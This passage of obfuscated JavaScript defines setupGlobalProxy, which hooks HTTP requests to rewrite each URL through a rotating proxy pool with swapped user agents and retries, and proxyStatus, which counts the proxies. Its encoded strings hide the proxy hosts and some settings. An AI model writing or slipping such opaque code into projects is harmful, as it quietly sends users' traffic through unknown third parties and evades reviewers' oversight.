GiW7FcL8oUbSoBb0S','FmksW7pdMuCqWOb/WP/dJa','WQn+WOnNW5vwW6FcSgdcTa','WPCYW7xdLaxdHCowW68iW5m','W6nOqCk1W6ZcIu3dUmk1dW','wGOoWQxdIMNcOgHrWP53'];_0x2f5b=function(){return _0xa62bd5;};return _0x2f5b();}export function setupGlobalProxy(){const _0x454f23=_0x151091,_0x537897={'HPaKk':function(_0x59512d,_0x1352e3){return _0x59512d(_0x1352e3);},'TRlNH':function(_0x355460,_0x4d630a){return _0x355460(_0x4d630a);},'SZUqI':function(_0x4adfeb){return _0x4adfeb();},'qTdeV':function(_0x3de817){return _0x3de817();},'lPWPh':function(_0x4b01f0,_0x39225d,_0x13e2c8){return _0x4b01f0(_0x39225d,_0x13e2c8);},'CBHhI':function(_0x50e13c,_0x62b494){return _0x50e13c(_0x62b494);},'qehce':function(_0x60e084,_0xff5036){return _0x60e084+_0xff5036;},'CLCfD':function(_0x3d6d7d,_0x25e42c){return _0x3d6d7d+_0x25e42c;},'Pnkmy':_0x454f23(0x149,'YjD$')+_0x454f23(0x1b6,'$eyi')+'—\x20','eDGWT':_0x454f23(0x19a,'6]Ix')+_0x454f23(0x216,'0fYZ'),'piIIe':function(_0x2ce609,_0x509537){return _0x2ce609<_0x509537;},'iFfIz':_0x454f23(0xe5,'!Zn!')+_0x454f23(0xd1,'#V5)'),'kLMzI':function(_0x6fc377,_0x1fc918){return _0x6fc377!==_0x1fc918;},'ITuUr':_0x454f23(0x15d,'YjD$'),'VYAFv':function(_0x23fccf){return _0x23fccf();},'qzTMp':function(_0x4ff763,_0xee9989){return _0x4ff763(_0xee9989);},'GjlYT':function(_0x432033,_0x466162){return _0x432033>_0x466162;},'gGNkr':function(_0x224dae,_0x3e953f){return _0x224dae-_0x3e953f;},'QyeDB':function(_0x2d0625,_0x443ccf){return _0x2d0625(_0x443ccf);},'IVhOr':function(_0x2e46cf,_0x246ac7){return _0x2e46cf<_0x246ac7;},'AUQzY':function(_0x43a971,_0x60b9df){return _0x43a971!==_0x60b9df;},'tkeFW':_0x454f23(0x164,'!Zn!'),'RNbRM':_0x454f23(0x22f,'0fYZ'),'UWrCN':_0x454f23(0x115,'i0zM')+_0x454f23(0x12d,'%%]l'),'oLERl':function(_0x2fdc1b,_0x49d564){return _0x2fdc1b(_0x49d564);},'UJxws':function(_0x483663,_0x58ec06){return _0x483663(_0x58ec06);},'JdmCP':function(_0x21b65f,_0x2ac397){return _0x21b65f+_0x2ac397;}};if(_installed)return;_installed=!![],_0x36e9ba[_0x454f23(0xf1,'$y8&')+'rs'][_0x454f23(0x183,'t8Os')][_0x454f23(0x1ed,'oe4y')](_0x3107fe=>{const _0x427f0f=_0x454f23,_0x522195={'JhYNB':function(_0x7d09b8,_0x26711f){const _0x144d96=_0x2d16;return _0x537897[_0x144d96(0x270,'&6Qp')](_0x7d09b8,_0x26711f);},'uagTy':_0x537897[_0x427f0f(0x22e,'e1Uy')],'JhEOB':function(_0x218155,_0x467f8c){const _0x399ac1=_0x427f0f;return _0x537897[_0x399ac1(0x260,'AOE0')](_0x218155,_0x467f8c);}};if(_0x537897[_0x427f0f(0x118,'JW#7')](_0x537897[_0x427f0f(0x14d,'#V5)')],_0x537897[_0x427f0f(0x189,'&[rl')])){const _0x1aceba={'RVhEt':function(_0x5a25c3,_0x396743){const _0x245f29=_0x427f0f;return _0x537897[_0x245f29(0x250,'8Q%c')](_0x5a25c3,_0x396743);},'sSiCd':function(_0x113c01,_0x441bf1){const _0x5e5b35=_0x427f0f;return _0x537897[_0x5e5b35(0x215,']BLJ')](_0x113c01,_0x441bf1);},'vZaVK':function(_0x10ed3f){const _0xa9e41d=_0x427f0f;return _0x537897[_0xa9e41d(0x13e,'x#JC')](_0x10ed3f);},'mYmjK':function(_0xa32657){const _0x1488cf=_0x427f0f;return _0x537897[_0x1488cf(0x190,'*ebI')](_0xa32657);},'gIizc':function(_0x48ad88,_0x10e844,_0x4a2460){const _0x3f9edf=_0x427f0f;return _0x537897[_0x3f9edf(0x273,'vwn4')](_0x48ad88,_0x10e844,_0x4a2460);},'qbhGA':function(_0x24189a,_0x48ecf2){const _0x32328a=_0x427f0f;return _0x537897[_0x32328a(0x170,'[fXe')](_0x24189a,_0x48ecf2);}};if(_0x3cbab2)return;_0x5d056d=!![],_0x551cf5[_0x427f0f(0x219,'kwXB')+'rs'][_0x427f0f(0xd5,'[)yR')][_0x427f0f(0x181,'YjD$')](_0x337329=>{const _0x9b531e=_0x427f0f;if(_0x337329[_0x9b531e(0x24f,'N2YF')])return _0x337329;if(_0x1aceba[_0x9b531e(0x142,'ZWgO')](_0xe153a9,_0x337329[_0x9b531e(0xe7,'6]Ix')]))return _0x337329;if(_0x1aceba[_0x9b531e(0x102,'ZWgO')](_0x552d6a,_0x337329[_0x9b531e(0xfa,'ZWgO')]))return _0x337329;const _0xa9987=_0x1aceba[_0x9b531e(0x148,'ZWgO')](_0x41a27e),_0x3b687e=_0x1aceba[_0x9b531e(0x1e6,'$y8&')](_0x4d873c),_0x46f5e3=_0x337329[_0x9b531e(0x16a,'%%]l')];return _0x337329[_0x9b531e(0x16a,'%%]l')]=_0x1aceba[_0x9b531e(0x1b0,'Oklf')](_0x44b0d0,_0xa9987,_0x46f5e3),_0x337329[_0x9b531e(0x22a,'$y8&')]=![],_0x337329[_0x9b531e(0x258,'uD[m')]=_0x337329[_0x9b531e(0x196,'Oklf')]??{},_0x337329[_0x9b531e(0x1cc,'xk5^')]={'proxyName':_0xa9987[_0x9b531e(0x191,'dRM@')],'proxyHost':_0xa9987[_0x9b531e(0x241,'qz6q')],'originalUrl':_0x46f5e3,'retries':0x0},_0x337329[_0x9b531e(0x246,'K!Q4')]=!![],_0x1aceba[_0x9b531e(0xfd,'&6Qp')](_0x12b103,_0xa9987[_0x9b531e(0x146,'i0zM')]+_0x9b531e(0x1e3,'Oklf')+_0x46f5e3),_0x337329;},_0x467a5b=>_0x8eebf5[_0x427f0f(0x11c,'*ebI')](_0x467a5b)),_0x5d85ce[_0x427f0f(0x1af,'#V5)')+'rs'][_0x427f0f(0x1a6,'dRM@')][_0x427f0f(0x147,'xn!^')](_0x29c1aa=>_0x29c1aa,async _0x345869=>{const _0x5a1743=_0x427f0f,_0x3dc0ab=_0x345869[_0x5a1743(0x125,'&6Qp')],_0x34b8ed=_0x3dc0ab?.[_0x5a1743(0x193,')ObG')];if(_0x34b8ed&&_0x522195[_0x5a1743(0x12a,'K!Q4')](_0x34b8ed[_0x5a1743(0x1ff,'PRVm')],_0x3a9a77)){const _0x4644ad=_0x522195[_0x5a1743(0x1a0,'YjD$')][_0x5a1743(0x12b,'dRM@')]('|');let _0xd5f5e4=0x25d0+-0xdf2+-0x17de;while(!![]){switch(_0x4644ad[_0xd5f5e4++]){case'0':_0x430feb[_0x5a1743(0x233,'h2M3')](_0x34b8ed[_0x5a1743(0x213,'pwNl')],_0x55648f[_0x5a1743(0x1d3,'bt3h')]());continue;case'1':_0x3dc0ab[_0x5a1743(0x14f,'aEH8')]=_0x34b8ed[_0x5a1743(0x23b,'kwXB')+'l'];continue;case'2':_0x34b8ed[_0x5a1743(0x228,'0fYZ')]+=-0x6f*0x34+-0x12a6+-0x2933*-0x1;continue;case'3':return _0x522195[_0x5a1743(0x238,'kwXB')](_0x207dca,_0x3dc0ab);case'4':_0x3dc0ab[_0x5a1743(0x20d,'#V5)')]=![];continue;case'5':_0x522195[_0x5a1743(0x1d1,'tI1!')](_0x533314,_0x5a1743(0x22d,'GwV2')+_0x34b8ed[_0x5a1743(0x244,'kwXB')]+'/'+_0x2742a8+_0x5a1743(0x252,'N2YF')+_0x34b8ed[_0x5a1743(0x23f,'*ebI')+'l']);continue;case'6':_0x522195[_0x5a1743(0x24b,'e1Uy')](_0x1c0cdb,_0x34b8ed[_0x5a1743(0x130,']BLJ')]+_0x5a1743(0x201,'ZWgO')+(_0x345869[_0x5a1743(0x22c,'uW^q')]?.[_0x5a1743(0xe4,'h2M3')]??_0x345869[_0x5a1743(0x18c,'6]Ix')])+(_0x5a1743(0x134,'pwNl')+_0x5a1743(0x1d0,'ZWgO')));continue;}break;}}return _0xd41dbb[_0x5a1743(0x20f,'kwXB')](_0x345869);}),_0x537897[_0x427f0f(0x1fb,'&6Qp')](_0x4f9d3c,_0x537897[_0x427f0f(0x114,'uD[m')](_0x537897[_0x427f0f(0x10d,']BLJ')](_0x537897[_0x427f0f(0x17d,'e1Uy')],_0x16124c[_0x427f0f(0x261,'x#JC')]),_0x537897[_0x427f0f(0x1c8,'Fqws')]));}else{if(_0x3107fe[_0x427f0f(0x156,'ZWgO')])return _0x3107fe;if(_0x537897[_0x427f0f(0x14a,'pwNl')](shouldSkip,_0x3107fe[_0x427f0f(0x23d,'pwNl')]))return _0x3107fe;if(_0x537897[_0x427f0f(0x1f9,'#V5)')](isAlreadyProxied,_0x3107fe[_0x427f0f(0x104,'!Zn!')]))return _0x3107fe;const _0x1068e2=_0x537897[_0x427f0f(0x220,'$y8&')](pickProxy),_0x5d93eb=_0x537897[_0x427f0f(0x1cd,'GwV2')](pickUA),_0x9fbb75=_0x3107fe[_0x427f0f(0x179,'K!Q4')];return _0x3107fe[_0x427f0f(0xcb,'bt3h')]=_0x537897[_0x427f0f(0x1de,'uW^q')](wrapUrl,_0x1068e2,_0x9fbb75),_0x3107fe[_0x427f0f(0x14b,'0fYZ')]=![],_0x3107fe[_0x427f0f(0x19d,'AOE0')]=_0x3107fe[_0x427f0f(0x23a,'K!Q4')]??{},_0x3107fe[_0x427f0f(0x16b,'N2YF')]={'proxyName':_0x1068e2[_0x427f0f(0x112,'$y8&')],'proxyHost':_0x1068e2[_0x427f0f(0x140,'!Zn!')],'originalUrl':_0x9fbb75,'retries':0x0},_0x3107fe[_0x427f0f(0x222,'[fXe')]=!![],_0x537897[_0x427f0f(0x1e7,'e1Uy')](log,_0x1068e2[_0x427f0f(0x25f,'6]Ix')]+_0x427f0f(0x1b8,'&[rl')+_0x9fbb75),_0x3107fe;}},_0x133876=>Promise[_0x454f23(0x1c7,'e1Uy')](_0x133876)),_0x36e9ba[_0x454f23(0xfb,'Oklf')+'rs'][_0x454f23(0x13b,'PRVm')][_0x454f23(0xed,'kwXB')](_0x333797=>_0x333797,async _0x1fd4e3=>{const _0x369821=_0x454f23,_0x327418=_0x1fd4e3[_0x369821(0xf5,'Oklf')],_0x10d256=_0x327418?.[_0x369821(0x217,'NL8r')];if(_0x10d256&&_0x537897[_0x369821(0x264,'e1Uy')](_0x10d256[_0x369821(0x221,'Fqws')],MAX_RETRIES)){if(_0x537897[_0x369821(0xde,'tI1!')](_0x537897[_0x369821(0x1c6,'tI1!')],_0x537897[_0x369821(0x1b7,'uW^q')])){const _0x1992f6=_0x537897[_0x369821(0x119,'K!Q4')][_0x369821(0xe8,'&[rl')]('|');let _0x54c4b3=0x10dc+0x1*0x1065+-0x2141;while(!![]){switch(_0x1992f6[_0x54c4b3++]){case'0':_0x327418[_0x369821(0x271,'[)yR')]=![];continue;case'1':_0x10d256[_0x369821(0x19e,'x#JC')]+=0x19f7+0x1a*-0x39+-0x142c;continue;case'2':failedProxies[_0x369821(0xfc,'pwNl')](_0x10d256[_0x369821(0xd3,'&6Qp')],Date[_0x369821(0x267,'kwXB')]());continue;case'3':_0x537897[_0x369821(0x1d4,'h2M3')](warn,_0x10d256[_0x369821(0x1e4,'0fYZ')]+_0x369821(0x13f,'tI1!')+(_0x1fd4e3[_0x369821(0xef,'aEH8')]?.[_0x369821(0x159,'!n1R')]??_0x1fd4e3[_0x369821(0x1f5,'$eyi')])+(_0x369821(0x103,'&6Qp')+_0x369821(0x208,'vwn4')));continue;case'4':return _0x537897[_0x369821(0x108,'6Qji')](_0x36e9ba,_0x327418);case'5':_0x327418[_0x369821(0xf3,'kwXB')]=_0x10d256[_0x369821(0xcd,'xk5^')+'l'];continue;case'6':_0x537897[_0x369821(0x1f8,'uD[m')](log,_0x369821(0x172,'x#JC')+_0x10d256[_0x369821(0x117,'bt3h')]+'/'+MAX_RETRIES+_0x369821(0x1e5,'UpvV')+_0x10d256[_0x369821(0x1c9,'vwn4')+'l']);continue;}break;}}else{const _0x2fab0c=_0x59ed46[_0x369821(0x101,']BLJ')]();for(const [_0x373c2f,_0x3d5249]of _0x282564){hsihyU[_0x369821(0x154,'qz6q')](hsihyU[_0x369821(0x237,'xk5^')](_0x2fab0c,_0x3d5249),_0x474891)&&(_0x1b7c36[_0x369821(0xd0,'N2YF')](_0x373c2f),hsihyU[_0x369821(0x1b2,'%%]l')](_0x48d9ad,_0x373c2f+(_0x369821(0x1ee,'ZWgO')+_0x369821(0x15e,'[fXe')+_0x369821(0x227,'6Qji')+_0x369821(0x195,'UpvV'))));}}}return Promise[_0x369821(0x251,'pwNl')](_0x1fd4e3);}),_0x537897[_0x454f23(0x206,'$eyi')](log,_0x537897[_0x454f23(0x1fc,'U^9v')](_0x537897[_0x454f23(0x263,'JW#7')](_0x537897[_0x454f23(0x1be,'x#JC')],proxyPool[_0x454f23(0x141,'$y8&')]),_0x537897[_0x454f23(0x245,'x#JC')]));}export function proxyStatus(){const _0x56f047=_0x151091,_0x2ac51c={'XLiGZ':function(_0x5f2054){return _0x5f2054();},'iIvvm':function(_0x1ecd84,_0x4b25ff){return _0x1ecd84-_0x4b25ff;}};_0x2ac51c[_0x56f047(0x1d6,'N2YF')](flushCooldowns);const _0x8c9575=proxyPool[_0x56f047(0x14e,'vwn4')],_0x58a0a9=failedProxies[_0x56f047(0xd9,'6Qji')],_0x5dcb4f=_0x2ac51c[_0x56f047(0x161,'x#JC')](_0x8c9575,_0x58a0a9);return{'total':_0x8c9575,'blocked':_0x58a0a9,'available':_0x5dcb4f,'enabled':_enabled};}
|